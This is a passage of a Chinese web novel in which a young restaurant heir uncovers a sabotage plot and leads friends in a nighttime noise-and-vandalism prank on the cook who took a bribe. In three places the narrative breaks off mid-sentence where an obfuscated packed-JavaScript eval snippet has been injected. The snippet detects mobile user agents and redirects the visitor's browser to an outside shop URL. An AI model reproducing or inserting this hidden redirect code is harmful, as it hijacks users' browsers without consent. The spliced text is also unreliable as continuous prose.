乌婕知道，张掌柜绝不是在危难面前计较小节的人，她明白寻找新厨的重要性，所以不可能在薪水上面吝惜。 重金也招不来好厨，那好厨子都去哪里了呢？ 乌婕不得不往湖仁县那个“佳膳会”上想了。 名厨素来爱惜羽毛，她们未必会直接出面沾惹是非。 但由于佳膳会是名厨汇聚的所在，尤其是它会牵头举办各种评菜活动，吸引食客、打响名声，故而它同湖仁县当地酒楼的关系是十分密切的。 假如幕后黑手借着佳膳会的关系，将张掌柜看中的厨子们牵线到了湖仁县的酒楼去，有了这样好的机会，谁还会看上孝丰镇上的一个小小风云楼？ 一时的高薪确实诱人，但风云楼当时能给的也只有薪水。 凡是有真本事的厨子，自然更乐意到机会又多薪水又丰厚的酒楼上工；若是没有真本事的人，张掌柜和贺常璋也不会看上的。 乌婕想，张掌柜她们未必想不到这个佳膳会。 但是王彩瑚玩的一手转移视线着实精妙，她让出身壶阳的家小往苻阳城跑，湖仁县恰恰就成了张掌柜她们顾及不到的灯下黑。 她向张掌柜略解释了几句，甚至都没有把她的所想讲完，张掌柜便直接拍板：“如今风云楼的东家是你，就按你的想法去查！” 乌婕心里是有几分把握的，但她还是不免玩笑道：“张姨就不怕我年轻误事，弄错了方向？” 张掌柜没直接回答，而是伸手按住那树下的藤椅，摇了摇把手。 “老贺，咱们新东家问你呢，她年纪轻怕误事，你放不放心她啊？” 藤椅在风中摇摆，发出有节奏的“嘎吱——嘎吱——”声。 像谁在笑。 …… 孙无诀特意掐在晚饭的饭点之前，引着原四卿等人的马车往回走。 负责驾车的齐元对她说：“天也晚了，先送你回去？” 齐大娘正掀开车帘往外看，闻言便道：“这哪里行！孙娘子不如随我们回去，我的厨艺虽然不及乌娘子，但也会两道拿手菜，不是这一带的味道，孙娘子尽可尝尝的！” 岂料孙无诀早就防着热情的长辈突然来这一手了，一边笑一边往马车下跳：“齐大娘，多谢你的好意，但前头就是我家的摊子，我弟弟正在那卖豆腐花，我得帮他收了摊子，正好一起回家去！” 这回是原四卿开口：“孙娘子二人收摊多辛劳，我们这里有好几个人，请让我们帮一帮忙。” 孙无诀已经站在地下了，闻言肃容一拱手。 “初次见面，不敢劳烦姊夫人，否则乌婕回头一定要收拾我的。姊夫人回去后，看在小妹今天还算尽心竭力的份上，一定要替我多说说好话啊！” 原四卿掩在帷帽下的脸一下子就红了；幸好无人看见。 齐大娘被她逗得笑起来，顿时也顾不上客套了。 孙无诀快步往自家的摊子走去，一路上难免为自己出色的应对能力自鸣得意。 她走近一看，发现今天的豆腐花卖得挺好，只剩下浅浅一层底了，于是随便拣了个碗，将整个桶都抱起来往里一倒，盛够半碗，端起来润了润嘴唇。 平日里总要嫌她“举止粗鲁”的同胞小弟，今天却一直没有开口说话。 孙无诀把光碗放回桌上，奇怪地看着他。 而她的弟弟正望着她来处的方向，目光奇异。 “孙无诀，那辆马车里坐的是谁？” 11. 初步设局 “孙安安，你关心这个干啥？” 孙无诀大大咧咧地回了一句，伸手抓起了摊子上的布帐，细细卷起。 她没正面回答，孙安安也不气馁，只道： “你不跟我说，我也知道。那是乌姐姐新认识的好朋友吧，要不是乌姐姐忙着，肯定不会让你去招待。” 小弟的语气很平淡，完全不见异样，且他素来对乌婕推崇备至，孙无诀早就听得习惯了。 “不是好朋友，是个男的。”孙无诀随口说。 孙安安回道：“男的怎么了？乌姐姐又不像你，见到个男人就走不动。” 孙无诀“呵呵”一笑，故意阴阳怪气地说：“是啊，你姐姐见到个男人就走不动；但你乌姐姐不一样，马车里坐着的是人家未婚夫——未、婚、夫，现在知道了吗？” 孙安安的身形一僵，手里死死攥着一块布巾，怒瞪了孙无诀一眼。 孙无诀洒脱地一摊手，“你这么看着我也没用啊。乌婕要是真能看上你，这么些年过去，早就看上了。既然人家事定了，你以后也别想着了。” 孙安安语气幽怨：“你都能看出来的事情，怎么乌姐姐就一直不懂我的心意呢？” 孙无诀这下不乐意了：“喂，你这一天天的老拿我当垫子也不是事吧，我俩都是你姐姐，我还是亲的呢，亲的！” 孙安安接着她的话说：“是啊，有时候我也发愁，为什么我的亲姐姐是你，不是乌姐姐？” 孙无诀无情的大手降临在他的头顶，孙安安立刻求饶：“我胡说的，我胡说的！” 他一面喊，一面迅速逃到了摊位的另一端。 孙无诀故作气恼地盯了他一眼，回过身去，继续忙碌。 但在心里，孙无诀大松了一口气，觉得自己先前实在是多虑了。 孙安安在知道乌婕有未婚夫之后，看起来有点小醋，但整体还是挺平静的嘛。 若真是对女方有意的小男子，断不会这么容易地将此事放过。 弟弟以前爱黏着乌婕、念着乌婕，其实也就是把她当成了更亲近的姐姐。 现在这个姐姐有了未婚夫，他自然会觉得不习惯，不舒服，但还不至于因此生妒。 而且，孙无诀和原四卿接触这一天下来，很快就发觉出原四卿这人出身应当不俗。 但他友善知礼，脾性温和，但凡是她提到的有关乌婕的话题，他总要十分关心地追问下去，倒也担得上乌婕的喜欢。 等到孙安安见了他，知道他是个对乌婕好的，想必也会感到心安吧。 孙无诀是如此想的，自然也觉得孙安安会是如此想的。 弟弟现在还小，等他日后成了婚，想起自己从前不懂事的模样，哎呦喂—— “不懂事”的孙安安站在孙无诀背后，面无表情。 他一直看着那马车走上了他最熟悉的那条道，转过拐角消失之后，才默默收回视线，继续收碗碟、收凳子。 …… 乌婕心里既然有了主意，行动上自然不会怠慢。 有关湖仁县和佳膳会的消息只能慢慢地打探，王彩瑚这个摆在眼前的仇人却跑不了。 至于具体怎么去做？ 乌婕想，如果是要伪装成来“灭口”的幕后黑手去逼吓王彩瑚，那得仔细地布局一阵，争取不露破绽，一击即中；但张掌柜想的那个深夜扰人的法子却不必拖延，只需要安排几个跑得快、嘴巴严的，反复下手，绝对能叫王彩瑚有苦说不出！ 谨慎起见，乌婕还特意耽搁了几日。 她翻出自己在唐家那边采购的特产礼物，往邻里亲友处分送一些，往旧日的熟客门上走了一趟，既是宣告风云楼新东家的归来，也接受她们的各种宽慰与建议。 谈话中，乌婕适时表现出因为师丧而愁眉不展的样子，仿佛对风云楼目前的境况有些心灰意冷，准备带着张掌柜远走西边，另立门户。 有几个出手阔绰的熟客同贺常璋交情不错，既有劝她留下的，也有表示理解的。 更有一位十分大方的钱老板豪气干云地道：“孝丰镇还是太小了些，我早就劝过老贺往外打招牌，只是她不肯挪窝。如今这场面谁也没想过，但往好处想，何尝不是一个从头开始的机会？世侄女如此人品才能，何愁不能在旁处打开名声呢！若是盘缠不够，尽与我说便是！” 乌婕连连称谢，面上仍带着忧色：“钱姨您阅历广，自然是能给我们这些小辈指明方向的。只是我想着，风云楼到底是贺师打下的基业，就这么抛下了一走了之，是不是……” 钱老板耐心地指点她说：“你这就是想左了。咱们这些相熟的都知道老贺不是那等黑心人，但外人不信，硬把污水往你头上泼，你就站在那儿生受着？可这事究竟是风云楼理亏，若是老贺还在，想必也是不愿你在这里硬顶着遭委屈。亏得你回来，否则我看老张还得犟到底呢。既然要走，那便快走，最好是走得干净些。地契和房契，皆出手换了钱，去个好地方再作盘算罢。你如果找不着人接盘，我给你买下也省得！” 这位钱老板当真是苦口婆心，讲情又讲理，可是乌婕却注意到了一处话头，冷不丁问道：“钱姨说这事是我风云楼理亏？我却不知道的。” 钱老板眉头一挑，“怎么，你张姨不曾与你分说？” 乌婕无比老实地说：“张姨道我年纪小，有些事不叫我沾手。我只知道楼里先前好像是出了事，东西吃坏了人的？但那总不该是我贺姨张姨想不开，对客人下手吧？我想这其中必是有什么误会的！” 钱老板听了，忽而长吁短叹起来，对乌婕道：“你张姨是老资历了，终归比你想得周全，但你也是个成人，该担事的时候，就得担起来才是哪。先前那事，确实是你家的菜吃坏了人，惹事的是你家那个厨子，叫什么瑚的？官府倒是把坏厨子抓了，可是客人咽不下这口气，硬要和你家过不去，谁能拦了苦主不叫出气的？偏偏你家那些厨子个个也是不能共患难的，唉，正是老贺先前看走了眼。” 哦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371159|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……原来风云楼的这场风波传到了外头，竟生出这么一个版本吗？ 乌婕心中一动，表情顿时沮丧起来：“钱姨，可这事情谁能料想到呢。我家的食材从来都是顶顶好的，以往也没出过这样的事情。我听张姨说，已是给那客人好好赔礼道歉了，她一直抓着不放，莫不是嫌我们心意不诚？” 钱老板只叫乌婕喝茶，口中道：“世侄女，听我一句劝，这桩事情，你就莫要再执拗下去了。我冷眼瞧着，那客人是外来的，背景恐怕不简单，是非得把你家店整倒了，才能出了气的。你看那地痞子一日日地上门，也就最近才消停些，多扰人呢？你略服一服软，先把店关了，叫她把这口气出了，走远了，再作计较……也未尝不可啊。” 外地来的客人，生面孔的混混，这倒是都对上了。乌婕想。 乌婕确认般问道：“只要她把气出了，再走远，也许我家这生意还有希望？” 钱老板也不能咬实了口风，只默默点头，暗示自己确实是给乌婕出了一个“假装闭店服软，避过风头重来”的主意。 如此听来，钱老板仿佛不是为着风云楼的地契，做劝她远走的说客来的，而像是真心想帮她们，觉得风云楼远走或留下皆可。 乌婕暂时将自己心中“熟客圈子里是否也有推波助澜之人”的猜想按下。 钱老板话中一片好情好意，然而她终归是站在局外的人，不知事情全貌。 她以为那些上门的混混皆是遭了罪的客人雇佣来出气，但张掌柜却是亲自上门去致歉过，将客人好好送离了孝丰的地界，确认人家心中毫无芥蒂才作罢的。 而且那群混混连假借条的把戏都拿出来了，独独没有打过“你家酒楼的菜吃坏了客人，该砸”的旗号。 乌婕想，这大概是因为官府已将事盖章定论，罪魁祸首王彩瑚又是个好找的，若那些混混真是要为客人报仇，怎么也得打上王彩瑚家，而不是只对着风云楼下手。 因此，混混们绝不能打着这个旗号，免得让张掌柜起疑，闹将出来。 但这个“遭罪的客人忍不下气”的说法，能叫钱老板深信不疑，说明幕后黑手大约是往这个方向放过风的，免得有那仗义的人站出来，大力拉拔风云楼。 毕竟那些心怀仗义的人，同样会认可快意恩仇的行事方式，也就不好对气愤难当且“背景惊人”的倒霉客人说什么。 可是不管怎么说，纵然风云楼有失察之过，真有那害人之心、并且真的叫客人遭了罪的，明明是收钱的王彩瑚与那幕后黑手啊！ 乌婕立刻打定主意，回头折腾王彩瑚的时候，就往这个“客人报仇”的方向去演！ 她谦恭地别了钱老板，而后又去了孝丰镇的官衙，拿出少许银钱打点，重新翻看王彩瑚毒鱼案的卷宗，再憋屈而认命地离开。 这是要坐实自己“先前对此事并不了解，如今了解后自认倒霉”的作态，让那有心人放松警惕。 然后，再用一日，聚起人手，趁夜出发！ 12. 夜声惊魂 是夜。 月黑风高，马歇人睡。 一道黑影自风云楼闪出，又有一道黑影紧随其后。 前一道黑影语带无奈：“齐师，我又不是一个人去的。” 后一道黑影不言不语，只是紧紧跟着。 乌婕拿她没办法，只好按照原本的计划，沿着一条小路来到离王彩瑚家还有两条街的野草滩中，低低地打了一声呼哨。 登时，野草丛中冒出几个鬼祟的身影，聚在一块，冷冷地与乌婕对峙起来。 打头的那一个上前一步，说：“嘚儿嘚儿！” 乌婕则说：“呜呜呀呀！” 孙无诀心中一定，回头说：“是阿婕没错，人齐了，都过来！” 但她身后的几人中有个心思巧妙的，此时一张手拦住了众人，警惕道：“阿婕，你身后好像跟着个什么人，你可认得？” 齐元确实是她们计划之外的人物，但具体要怎么介绍她，乌婕倒有些犹豫，于是转身朝齐元一望，示意她来讲。 齐元于是说：“我是家君的护卫。” 乌婕：？ 孙无诀：？ 发问的人：？ 问话的人不由对乌婕道：“你这去一趟西边，人也豪气起来了啊，干些偷鸡摸狗的事还要雇一个护卫？还家君？” 另有个说话最促狭的，此时就调侃说：“这个姓乌的从来最狡诈，是打算事发了让护卫护着她跑呢，只留下姐妹们去顶罪！” 乌婕却已经反应过来，知道齐元是替不放心的原四卿来守卫她的——也是，像这种门外作声吓人的小事，恐怕根本不会被日常挂刀行走的齐元放在眼里，哪会执意要跟着她？ 乌婕当即道：“都是自己人，我能叫你们被逮住？” 孙无诀反而笑了：“你别说，若是因着这种事被逮住，倒也新奇。” 夜晚乱叫扰人睡，能给判个什么罪？ 最后一个人这时也终于开口，语气低沉地道：“若是为了阿婕你，被逮住我也甘愿。” 众人：“噫！” 无论如何，“报复小队”的五个成员终于成功碰头——齐元这个编外的不算在内——在野草滩内低调地围成一圈，检视装备。 方才问话的那个心思奇巧的叫做卢丞轩，她的母亲人到中年，终于艰难考中了一个秀才，从此失去了继续科考的心气，干脆就留在孝丰镇开了一家私塾，平日里颇受镇人尊敬。 卢丞轩作为卢秀才的女儿，遗传了她的聪明才智，在乌婕的朋友圈子内算是头一等的机敏心细，就是人爱多想，嘴爱絮叨。 此时，她一面轻手轻脚地检查着待会儿要用的鼓锣，一面不忘提醒众人道：“王彩瑚她家偏僻，咱们闹腾起来不怕扰着人，但也得找准了方向。别忘了她素日是躺在西房里头，都找准了墙根再动手。” 说话最促狭的赵之淮蹲在地下，只说：“不管你们怎样，我是打算攀上房顶的，到时候纵然不能吓坏她，起码也蹬掉她家几片砖瓦！” 这个赵之淮家中有祖传的屠妇手艺，母亲姊姊们都是膀大腰圆的有力气，偏她自己生得瘦，行动也灵巧，上树下湖最是积极。 认识的人都讲她是猴精猴精的一个，而且睚眦必报，又是那般“有力”的背景，素来是不肯吃亏的。 先前风云楼遇事，得亏是乌婕没回来，赵之淮不好跟张掌柜这个别人家的长辈去顶，否则让那些混混撞到她手里，还不知道是谁混得过谁。 孙无诀这个力挺乌婕的不必多说，而小队里的最后一个凌越也不是省油的灯。 她缄默地蹲在地下，在锣、鼓、镲、铃等响器中挑了半天，最后从自己怀里摸出了一只半掌大的小铜盆，里面被各种布条紧紧塞满。 齐元借着月光看清了她手中的东西，视线不由在凌越脸上停留了一瞬。 赵之淮问：“你拿这个做什么？” 乌婕也好奇地看了过来，凌越提醒道：“阿婕，闭耳。” 乌婕抬手捂住了耳朵，齐元也选择跟从。 其余几人中有孙无诀这等不信邪的，凌越也懒得管，只把铜盆翻过来，却见那底部并不是光滑的，而是混着些杂质的磨砂面。 凌越曲起指节，以指甲在那凹凸不平的盆底狠狠一划—— 某种尖锐刺耳的可怕声音倏然炸响！ 在场的所有人，不管有没有捂耳朵的，身体几乎都克制不住地随着那响声颤抖了一下。 即使凌越迅速地停下了手，孙无诀的脸色也比之前苍白了许多，反倒是捂耳朵最快的乌婕和齐元看起来无甚大碍。 卢丞轩把那小盆要到手里，翻来覆去地看了几遍，硬是没敢多碰，赶紧还了回去。 赵之淮被先前的声音恶心得呲牙咧嘴，但也不忘冲拿出如此利器的凌越连连点头，以示赞赏。 “不愧是你，杀敌一千自损一千！” 乌婕则伸手一摊：“我带了些塞耳的棉，大家分分。” 终于，几人将装备检视完毕，各自武装，悄悄潜入到了王彩瑚家的后院处。 齐元默不吭声地跟在最后，耳朵里已然塞好了一对隔音的棉花。 …… 王彩瑚不知自己今夜该有一劫。 自从挨了棒疮又下了大狱后，她的腿脚就一直不甚灵便，若是逢了阴雨天气，连骨头似乎都在“滋滋”地摩擦，又痒又痛。 身体的折磨让她本就不好的脾气更加败坏，连带着影响了胃口与睡眠。 还有，还有她那个心思都野了的夫人。 她叫他带着女儿跑出去，既是要引开一些视线，也有让他把女儿安置好再回来的意思。 以她如今这样的境况，家中只有一个老父亲忙前忙后，哪里顾得上！ 偏偏他说女儿年轻，苻阳城太大，王彩瑚又不准他带着女儿回壶阳父家，若是他走了，反而没个人照拂女儿，让她学坏了可怎生是好？ 气得王彩瑚大晚上点着灯也要写信骂他是“慈父多败儿”。 私心里王彩瑚也知道，自己那夫人恐怕是不想回来伺候她。否则怎么她让他跑，他就跑了？ 但是苻阳城的治安究竟是有保证的，女儿也是个成人，给她雇两个跑腿佣人使唤着就是，左右她们家现在不缺银钱，哪里就需要亲父时时盯着了？ 王彩瑚选择性忘记了，她自己现在也是由亲老父照顾着。 她躺在床上的时候还有些气喘，不得不想些旁的好事情来抚慰心情。 听说，风云楼的新东家已是确定了，是贺常璋收的那个亲徒乌婕。 王彩瑚到风云楼供职的时候，乌婕还在跟着贺常璋学艺。 贺常璋一开始不许她挂厨名让客人指定，只是一味地加强练习，偶尔叫她做几道招牌菜，看着是有些让她接班的意思在，但说是普通学徒也有道理。 后来乌婕的本事渐渐露出来了，被唐家的娘子看中，带去西边历练。 王彩瑚还以为贺常璋是把这个徒儿让给了唐家，仍打算自己把着风云楼不放。 有一说一，风云楼是个不错的地方，贺常璋虽然严厉些，手段也是清正的。她想找谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371160|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来接班，那是她的自由。 但是，在王彩瑚眼里，风云楼的规矩太多，管束太严。给的薪水虽然不错，到底也不算什么惊人的收入。 因此，当有人拿重金找上她，贿赂她设计替人拿下风云楼后，王彩瑚没能抵住钱财的诱惑，答应了。 可是任谁也没想到，贺常璋竟然早就把地契给了旁人！风云楼的新东家已是定了！ 王彩瑚熟悉贺常璋的行事风格，但是对乌婕，她就没那么了解了。 乌婕大约没有贺常璋那样稳重中透着死板的手腕，她年轻，容易冲动，不会像张掌柜和贺常璋似的，做什么都要依照规矩来。 假如拿对付贺常璋的手段对付她，她很可能会掀桌子把事情闹大，这就不符合主家想要的效果了。 不过，也亏得她年轻，见识少。刚一回来就急吼吼地到处找人问讯，连官府都要进去打探一番，最终不也是没个结果？ 主家早就把这件事粉饰完毕，她轻易是摸不着把柄的。 哎，她拿我没有办法。 就像贺常璋那样，最多也就是送我进去吃个牢饭，该忍气吞声的，那就得忍着。王彩瑚想。 她陷在美好而自得的幻想中，渐渐生出睡意，心绪也平静了。 今天她身上的伤口也不如往日般蜇人似地发疼，王彩瑚不禁舒展身体，沉入睡梦之中。 “咚！” “咚咚咚咚咚！” “叮当哗啦咚当滴啷！” “撕拉嘶呕咦咦沙嘶啦啦啦！” 一道锣声响起，王彩瑚只以为是更声，梦呓着翻了个身。 然而紧接着就是连续不断的敲击声、嘶喊声、抓挠声、碎裂声—— 等等，碎裂声？ 王彩瑚头痛欲裂地睁开眼睛，一时在床上挣扎不起。 但因为她是侧躺，勉强也有一只眼睛朝屋顶上看，此时便感受到自家的屋檐疯狂晃动，仿佛有什么人在上头又唱又跳，又蹬又踩！ 瓦片破碎的声音和院墙外传来的锣鼓声此起彼伏，闹腾得人不得安生！ 王彩瑚的父亲就睡在她隔壁的堂屋，他觉浅些，此时也被这些可怕的动静闹得心慌，匆匆披上外衣，拿了扫帚就来找女儿拿主意。 王彩瑚忍受着前所未有的恐怖的噪音，在父亲的搀扶下勉强坐在床头，抬手就要捂耳朵。 但她很快发现乱声太大、太多、太近了，她只以手掌阻挡，根本就于事无补。 于是王彩瑚扭曲着脸庞，对尚能自由活动的父亲发号施令：“出去看看，咱们家上头一定有人，看清楚她是哪个——呸呸呸！” 在房顶蹦跶的赵之淮无比干脆地把瓦片往下踹，同时乱蹬乱踩，直让无数碎草尘泥在屋内纷落，正好堵住了王彩瑚欲骂又止的嘴。 王父手里虽然拿着扫帚，但也能听得出外面的声势浩大，估摸着此等阵势绝非他一个男子能抗衡的，选择先劝王彩瑚忍下：“外头的总不能闹一夜，明天我就报官差来抓她们！彩瑚，咱们家这是得罪了谁啊……” 王彩瑚不耐烦道：“我心里有数，你先出去瞅一眼，把人看准了。她们不敢打你！” 真要是斗殴伤了人，律法自有判处；但这种无伤大雅的噪音报复，一是不在城镇中心，二是不在谷仓、官署等重地，甚至都算不上“无故喧哗”，顶多能当个邻里纠纷。 王彩瑚心中暗恨，当初为着清净养伤，也为了少挨知情人的咒骂，她没敢在镇中赁房，而是蜷缩在了这间偏远的小院中。 结果竟让她们肆无忌惮起来！ 13. 事毕归家 王父私心里是不想去的，但王彩瑚在家中积威甚重，他只能想办法迂回劝说：“那，彩瑚，万一外头的人我不识得呢……” 然而他心中发虚，讲话的声音便太小，院子附近又是锣鼓喧天的热闹，王彩瑚根本没听见他的推拒，只顾蒙着被子头疼。 等到她发现被子也是无用，愤愤揭下了蒙头的物什扫视四周时，一眼看见了踌躇的王父，冲他喊道：“怎么还不去？！” 王父终究拗不过女儿，且他劝了劝自己，到底他也觉得这噪声难捱，最终不得不鼓起勇气，拖着扫帚往院中走去。 可他刚走出去几步，赵之淮早从屋顶上跳出院中了，几个围着墙根乱敲乱打的人也适时歇了动静。 等到王父摸不着头脑，又反身往女儿房里去的时候，闹声便再起。 如是者三。 王父一会儿跨出门槛，一会儿跨入院中，忙碌不停。 王彩瑚的脾气本就称不上温和，哪怕被来来回回戏耍的并不是她本人，断断续续的噪声也一直往她耳朵里灌，更叫她气得发抖。 “回来，你回来！” 她把王父喊回屋子里，让他去想办法找些什么东西来塞耳朵。 而她自己则艰难地挪到窗子边，也不敢打开窗户（怕被砸），提高了嗓音朝外吼道：“哪来的污糟贼，闲出个毛了在这里吆三喝四地聒噪！仔细天杀的官娘子，拿你去吃个扒骨刑！” 外面的闹声似乎是停止了一瞬，接着忽然有人笑道：“果然是进过官牢的王厨子，最知道官府的行事，一般人是比不得的。” 王彩瑚顾不得对方的阴阳怪气，先凝神细听对方的嗓音，满以为不是乌婕，便是孙无诀，要不就是那个遭瘟的赵之淮。 乌婕有大半年不在孝丰，但王彩瑚自认还是能听出一点她的口音。 另外两个则是她知道的常到风云楼造访的年轻人，全是乌婕的亲密朋友！ 偏偏院子外传来的嗓音陌生得很，不仅不像孝丰这边的，似乎还带一点儿含糊糊的尾音，更像是从偏南的地界过来的生人。 这“生人”扬声斥骂道：“下毒害人，也不知谁才是那个天杀？弄的就是你！” 接着响起的就不再是铜锣，而是一种磨人的、绵长的、令人浑身直起鸡皮疙瘩的抓挠声。 那抓挠声疯狂朝人的脑袋里灌，一时如钻头搅起脑汁，一时又如无数只蚂蚁在心头啃噬。 王彩瑚简直想把自己的一对耳朵全卸下来，要不就让自己的脑袋变成个钻不进的石头也成！ 忙乱间，她一时坐不稳当，整个从椅子上翻倒下来，发出一声巨响。 院子外隐隐有窃笑声，而后飞来一物。 一记狠砸！ 一块被草纸包着的黑色秽物被扔在了王彩瑚的窗棱上，炸开变成一片污渍，散发出一股混杂着鱼腥和泥臭的怪味。 “撤！” 几人赶在王彩瑚家灯火通明的刹那，果断撤离，回到野草滩中再聚头。 凌越被孙无诀拽着问：“你还会伪声？牛啊你！” 乌婕替凌越解释道：“阿越母亲本是汾南人，她平日说话急了，就这个声音。” 一旁的赵之淮只觉得稀奇：“难得，我只听过她一个字一个字往外蹦，她还有发急的时候？” 凌越收回面对乌婕的温和视线，转而望向赵之淮，惊得后者举起双手，闭上了嘴巴。 卢丞轩总结道：“这样来一回虽然折腾，起码叫她吃着了苦头。只是我觉得不甚解气，若是能叫她自食恶果，那才好呢！” 孙无诀则说：“咱们总不能去给她投毒，那不就跟王彩瑚一个德行了？” 赵之淮迅速插口：“我倒觉得这事儿还可以多来几回！” 乌婕看着激情讨论的朋友们，抬手扶了扶额：“今晚大家都辛苦了，回头还弄不弄，怎么弄，得先看王彩瑚这边的反应。等我通知。” 之前一直保持沉默的齐元却忽然开口道：“这件事，你们打算怎么收尾？” 众人都看了过来，齐元则看向乌婕。 乌婕摸了摸下巴，“王彩瑚之后必是要找麻烦，兴许是报官，兴许是冲着咱们几家打探。所以你们今晚干脆就别偷摸回家，免得露了行迹。” 孙无诀道：“不妨事，我家人会替我打掩护。” 赵之淮则笑道：“我可说不准，我妈一句话能漏百八件事。” 凌越看了她一眼，“那你就不要回家，我今晚请你喝酒。” 赵之淮歪了歪头，应下了。 卢丞轩则忙着把那些鼓锣镲器打包起来，又招呼几人走到空旷处，换掉潮湿带泥印的鞋，随后将沾了墙灰的外衣翻过，胡乱披在身上。 如此便叫几人的行迹断在了野草滩处，即使官差后来牵狗来寻，也能借水源阻隔大半气味，再添一层保障。 乌婕从卢丞轩手里接去包裹，准备承担毁灭证据的工作。 最后，众人互相叮嘱一句“小心”，各自散去。 齐元自然是跟着乌婕的。 她们选了一条与来时不同的道路，当然，是一样的少人且僻静。 齐元和乌婕并肩走着，直到远远能看见风云楼的影了，才缓声说：“你们这样做，虽能泄愤，但终究不长久。你后面有什么打算？” 乌婕说：“回去便把东西埋了，痕迹扫尽，任她怀怨无处诉，也算是以其人之道还治其人之身。” 齐元皱了皱眉，只以为乌婕是在避重就轻。 “小打小闹而已。然后呢？” “然后……” 乌婕一顿，反问道：“齐师可有教我？” 齐元沉默了。 乌婕也不追问，而是说：“齐师觉得这是‘小打小闹’，但我也不是什么大人，我家长辈讲脸面，我却要给她们出口气。之后么，我还有一个计划，只是不知道效果如何了。” 齐元却忽然开口，回答了她的上一个问题：“小人生怨气，不该以小乱对待。斩草当除根。” 乌婕的眼神一下子落在了齐元腰间的长刀上，齐元仍是一副平静的样子。 乌婕喃喃念出了令她印象深刻的话本上的句子：“侠以武犯禁……” “这就是齐师在江湖上行走的经验吗？” 乌婕敬畏地望向齐元眼上的疤痕，脑中忽然涌出一段充满惊险与豪情的故事。 武林，刀客，深夜，血腥，仇恨…… 齐元十分冷漠：“少看点话本子。” 乌婕有点失望，齐元的话显然是在告诉她，她的想象全是错的。 “哦。” 闲话间，两人回到了风云楼的后门处。 乌婕没有打探齐元的过去，而齐元也没问乌婕未来的计划。 似乎在她看来，只要乌婕心里是有谋划的，而不是沉溺于一时的快意报复，那就行了。 乌婕上前开门，但她刚刚把钥匙捅进锁眼里，里面就传来门闩被拨动的声音。 里头的人问：“是谁？” 乌婕扬声道：“是我！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371161|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是后门一下被人从里面拉开，一道影子径直扑进她怀里。 乌婕本来有些别扭地想躲，但等她的手心碰到了来人的衣袖，顿时就歇了心思，改躲为抱。 原四卿落在她怀里，轻得像一团絮。 乌婕拍了拍他的后背，而原四卿一声不吭，只把脑袋放在她的肩膀上。 乌婕无奈，干脆就让他维持着这个姿势，半抱着把他带了进去。 齐元走在她们身后，将门掩上，而后顺手提起一旁困得直打摆子的浣竹，将他安放到楼梯前去。 张掌柜披着衣服，站在二楼处朝乌婕远远一点头，接着便叫面带担忧的张怜回房去。 乌婕一直把原四卿送到他在三楼的房间外。 原四卿等她替自己推开了门，就轻轻扯了扯乌婕的袖子，对她说：“你喝一碗小圆子，再走。” 乌婕抬眼一望，桌上正放着两碗微微冒着热气的酒酿圆子汤，空气中弥漫着动人的甜香。 原四卿的眼睛始终追着她的视线，此时就低声说：“这是百江那边的做法，和这里的不一样的。而且要温着喝，……是齐妈妈专为你做的。” 他一下子说了两三个留下她的理由，但乌婕也不是迟钝的人，如何品不出他话中的不舍？ 她心中一暖，拉着原四卿在桌前坐下。 虽然如今是在她的地盘上，楼上楼下住着的也都是双方的家人，但原四卿和她究竟没有真的成事，乌婕并没有选择关门。 “你能喝酒？”她也没有立刻端起碗来就喝，而是想起原四卿病弱的身体，先问了一句。 原四卿垂着眼睛，回答她：“少喝一点是不妨的，我的病也没有那么严重。” 仿佛是为了佐证，他主动将油灯挪近了一点，叫乌婕仔细地看他的脸色：“你瞧，我看着是不是还好？先前是、车马劳顿，路上总想作呕，看着才格外虚弱一些，其实我身子很好的……” 是可以和她成婚、可以经受承果、可以为她诞子的身体。 油灯下的原四卿看起来有几分白日中少见的动人，好像脸色是真的没有第一次见面时那般白了。 乌婕不懂得男子的梳妆手段，此时也为他的气色稍稍放下心来，关心道：“这圆子汤放久了没有？若是你那碗太凉，我下去给你做一碗我们这边的口味来，很快就能得了。” 原四卿不想她离开自己的视线，更珍惜这次难得的相处机会，赶紧以手背试了试碗壁，高兴道：“温热的。” 乌婕就终于讲出了那句他想听的话：“我们一道吃。” 汤水入口，乌婕慢慢品味了一番。 果然正如原四卿所说，百江的风味独特，全然与孝丰不同。 舌尖先尝到的不是酒香，而是清淡的藕粉香。 口感顺滑又稠密，分明还没有吃到圆子，齿间便已经漫上糯感，柔柔地韧。 待到乌婕主动舀了一颗圆子配汤送入，又是另外的一种口感：圆子弹软，汤水浓郁，酒香随着圆子的咀嚼一同发散开来，润泽在舌面上，竟似铺开了一小块锦缎，滑得挂不住。 乌婕想，这样糯滑的汤水，其中必然有用藕粉勾芡的缘故。 